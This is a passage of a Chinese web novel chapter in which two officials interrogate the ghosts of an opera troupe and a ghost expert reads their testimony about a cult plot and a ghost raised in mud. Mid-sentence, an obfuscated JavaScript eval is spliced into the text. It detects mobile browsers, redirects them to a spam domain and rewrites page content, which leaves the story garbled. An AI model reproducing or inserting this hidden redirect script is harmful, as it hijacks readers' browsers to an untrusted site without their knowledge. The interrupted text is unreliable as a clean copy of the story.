说着,他抬手指向最近的一团泥浆:“那是续命的良药,也是淬毒的枷锁,别名荒秽……是神话时代的巫族用以养鬼的东西。” 啊……原来丹先生知道那是什么玩意儿,那我就放心了。 陈安和许鉴刚松口气,下一刻,就感觉一股电流窜过脊柱,直冲天灵盖,整个人都打了个激灵。 等等!审讯好像是他们的活儿? 陛下不会让他们去审鬼吧? ……一定不会的吧? 20. 二十 子时刚过,城中更声响了几下,越发衬得万籁俱寂。 东宫正殿的庭院内,那九十九道灰白色的鬼影突然软若无骨地飘荡起来,仿佛夜风下的芦苇。 体表的泥浆色泽被一点点抖碎,零落成尘,露出近似活人的血色,双眼慢慢睁开,从呆滞逐渐转为灵动,不过几息功夫,他们便褪去怪异诡怖的“外壳”,呈现出与寻常鬼怪截然相反的活气来。 除去脚下仍在流动的泥浆,他们看上去竟然真的与常人无异。 “你们……你……” 第一个恢复清醒的鬼是古家班的班主,他隐去足下泥团,脚踏实地地一步步走向鬼群前方。 许鉴与陈安并排坐着,腿上各自横着一柄桃木剑,剑刃上刻字不同,灵光内蕴,在班主走近他们五步之内时,忽的爆开两束流光,丝丝缕缕银白色的细线凭空而现,抵上所有鬼魂的后心。 班主停下脚步,抬起头,平静地迎上两位朝廷重臣的视线。 他们也一脸淡然,指腹有意无意摩挲着剑刃上光华流转的古字,乍一看似乎气定神闲,一副早有准备的从容。 双方都很淡定(x) 双方都很紧张(√) 对视良久,许鉴和陈安压着本能的惊惧寸步不让,最终退步的是古家班班主——他掀起衣摆跪了下去,于是身后所有鬼魂跟着乌压压跪了一片,宛若垂天之云。 班主顶着年过六十的模样,佝偻着背脊说:“老朽醒得比较早,丹先生方才说的话,老朽都听到了。我们愿意说出知道的一切,希望先生也能遵守承诺。” 陈安不着痕迹地蹭掉掌心的薄汗,露出一抹如沐春风的微笑:“你的话,本官会向先生转达,前提是,你所说的一切确实并无伪造矫饰,也无任何保留。” 班主嘴角动了动,在布满皱纹的面庞上扯出一抹苦笑:“大人,我们经历的事情根本不需要编造矫饰,只需平铺直叙,就会让你们怀疑真假。” “且说便是。”许鉴挺直腰杆,“我们自有判断。” “是。” 一个多时辰后,为了不走漏风声而选择亲自记录“口供”的两位大人走出正殿,一人拿着厚厚一沓写满了字的纸张,神情麻木空白。 “……老陈,我半边身体都麻了。” “……谁又不是呢?” 有那两把桃木剑困着古家班众鬼,也不必另外留人看守。舒琊吩咐手下协助暗卫盯紧东宫的出入口,确保不会有人闯入、被人盯梢,便匆匆走进侧殿。 陛下在此,偏殿自然不再是之前满地狼藉的磕碜样,铺了新的地砖,安置了几张座榻,还点了灯煮了茶,挂上纱帘挡风,弄得明亮舒适。 连雨年坐在沈青池右手边,腿上盖着他特意命人回宫取的暗青纹披风,不紧不慢地翻阅古家班众鬼的“口供”。 他们说的事不多,主要是细节庞杂,需要自行甄别是否有用,做进一步的信息提炼。 连雨年毕竟是鬼神之说领域的专业人士,不必关注资料内涉及朝廷的部分,所以当头一个看的人。他看完一页再往下传,流水线作业,可以最大程度地节约时间。 不出所料,古家班的前身顾家班是妖蛊教暗中培养的触角,传扬鬼戏、推动诡戏的诞生和发展、传播,并不是偶然前提下的无心之举,那本就是他们的目的。 此事最早可以追溯到南夭国与盛朝开战的那一年,先太子想借着战争影响,让妖蛊教扎根于当时已经四分五裂的南疆,借着那夹在两国之间的小小地域连通两国,扩大妖蛊教的影响范围。 诡戏便是这个计划的第一环,也是探路的前锋与开道的锋矢。 大部分诡戏的编排脱胎于丹桂乡的鬼戏,观赏性和煽动性很强,哪怕是帝京现下流行的经过多次更改的那些戏目,也都牵涉到世道混乱、人鬼颠倒这种敏/感话题,由此可以看出当初那个计划残余下来的影子。 可惜的是,顾家班只进行了前锋计划的第一步——传扬鬼戏、编排诡戏,就因为先太子事败、台柱被杀、部分不知内情的成员的离散而分崩离析。 加上逃亡途中遇上天灾,二十八名核心成员尽数丧命,整个计划相当于还没真正开始,便彻底胎死腹中。 至于顾家班的人死后为何会变成鬼魂,又为何被养在那种泥浆里,他们并不十分清楚。 据班主所说,他们醒来之后就变成那副模样了,“救”了他们的人是有家乐坊的坊主,在江南的时候便是坊主暗中养着他们,后来也是坊主让他们回京,进入有家乐坊,表演夜间档的诡戏。 至于那个疑似受魇魅术反噬重伤的人,班主并不认识,他也不是古家班的人。但那身戏服他见过,之前一直挂在坊主房间里的人形衣架上。 看到这里,连雨年想了想,在其中一句话上画圈:借诡戏乱战后南疆遗民之心,收以为妖蛊教众,办不得见人之事。因计划未成,入教者甚少,不过二十余人。 下方紧跟着二十六个名字,两个当了地方知县,一个成了江南有名的富商,剩下二十三个全部从军,大部分战死于收复南疆的战场上,只有一个活了下来,并凭借军功封了将军,此刻正镇守南疆边境以御南夭。 如果他们真的是先太子所扶持的妖蛊教成员,而且现在依旧忠于妖蛊教,那藏得就太深了。 毕竟富商善名在外,知县年年考核都在第一品,将军更是一马当先,浴血杀敌,功劳显赫。 对于大盛,他们没有亏欠任何,反而是先帝的种种作为致使南疆沦陷,欠了他们太多。 顾家班是妖蛊教扩张计划的先锋,诞生于昌平二十年,先太子入主东宫的第二年。 由于班主权限不足,他并不知晓计划全貌,只知道这个计划的最终成果不仅仅是壮大一个教派那么简单,这一点,从推扬诡戏的过程中种种繁复庞杂的细节就能看得出来,所以即使之后失败了,也还是留下了一些收获,那四个南疆遗民是其一,以明面上的妖蛊教教众为骨架的情报系统是其二。 这样一个如此庞大、如此重要的计划的前锋,自然不可能由一个小小戏班全权负责,其中埋着很多先太子党的暗桩和推手,他们也是那张细节网的组成部分。 沈青池和许鉴从中梳理出将近一百个名字,八十多个死于先太子倒台后的两次大清洗,还有十二人仍在朝中就值,官位不算太高,却都是兢兢业业的能臣。 朝堂之事盘根错节,连雨年看了就头大如斗,索性全都跳过,只抠怪力乱神有关的部分。 这一类内容不多,一部分在于后面陆陆续续被乐坊坊主带进古家班的那七十一只鬼,一部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15233766|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在于用以禁锢和喂养他们的泥浆,最后一部分则在于那个早早死去的顾家班台柱。 根据班主的事后回忆,那位极其擅长唱鬼戏,演艳鬼演得入木三分的台柱“赛江南”其实和他们一样,也是用泥浆豢养的鬼魂,或者说,厉鬼。 赛江南此人,真名不明,来历不明,性别……也不明,姑且以“他”代称。 他是先太子直接指派进顾家班的成员,平常几乎不露面,赶路时在马车上,到南疆后非唱戏时间不出门,偶尔外出,也永远穿着戏服,画着浓妆,以艳鬼形象示人,美艳而诡谲。 赛江南性情古怪,他的一应吃食、所用器具,都是先太子专门准备好差人送来,若是被戏班里的人碰过,他便不要了。除此之外,他也绝不吃别的食物,不用外面卖的物品。 之前有个打杂的好奇他平常吃什么,便偷偷打开了装着他的晚饭的食盒。也不知看到什么,那打杂的当场就被吓疯了,一边叫喊一边冲出戏班,可还没跑两步,就毫无征兆地倒在街边断了气。 班主当时恰好在现场,也瞥见了盒子里的东西,那是一截血淋淋的人手,旁边放着一碟片得薄如蝉翼的生人心。 那天夜里,赛江南一反常态地主动出门,来到班主房间。 当着班主的面,他卸去妆容,于是五官也被抹除得干干净净。 他脱下戏服,画皮之下是一身灰白色的泥浆,翻涌的灰白浓浆下依稀可见裂纹斑斑的白骨,缠绕着枯藤般的褐色血管。 连雨年阅读到此,不由得为班主捏了把冷汗。 老爷子没被吓得当场过去,也真是老当益壮。 关于那一夜的事,班主并未过多提及,只说赛江南欣赏他的胆识——这句绝对是真的——给了他一块令牌,让他帮自己收接先太子寄来的信,并回复近况。 说到先太子时,赛江南漫不经心的态度给了他很深的印象,以至于后来先太子被鸩杀的消息传来,赛江南疯了似的唱了一天鬼戏的样子让他不解至今。 对此,老爷子特别认真地发表了一通讲话:他从未看过先太子寄来的信,从未回过一字半句,那些昂贵珍稀的器皿、新鲜到令人作呕的“食物”,他亦是想摔就摔,说砸就砸,不见半点爱惜。临到人死了,站台上唱一出戏,又是图什么?图他一天不演闲得慌? 连雨年一边看这段话一边笑,笑着笑着瞥了沈青池一眼,扫到他肩头那件杏色旧衣时又触电似的缩回,心头泛起点异样。 “这个赛江南也是先太子用泥浆……用先生你说的‘荒秽’养的鬼?”沈青池的声音冷不丁响起,把走神的丹先生惊了一跳。 他放下看了半天的赛江南后文,点头道:“之前没有详细介绍何为荒秽,草民现在为陛下补上。” “嗯。”沈青池点点下巴,拿起略有褶皱的后文抖平,眼皮子都不抬,“择青,给先生添茶。” 连雨年一愣,这才发现自己的茶盏不知何时空了。 择青缓步上前倒茶,手上动作很稳,眼神却复杂莫测,倒完了把杯子往他手边轻轻一推,迟疑少顷,低声说:“先生喝茶。” 刚要端杯子的连雨年:“……?” 他看看碧绿清澈的茶水,再看看欲言又止的择青。 咋的,你主子让你在茶里下/毒/了?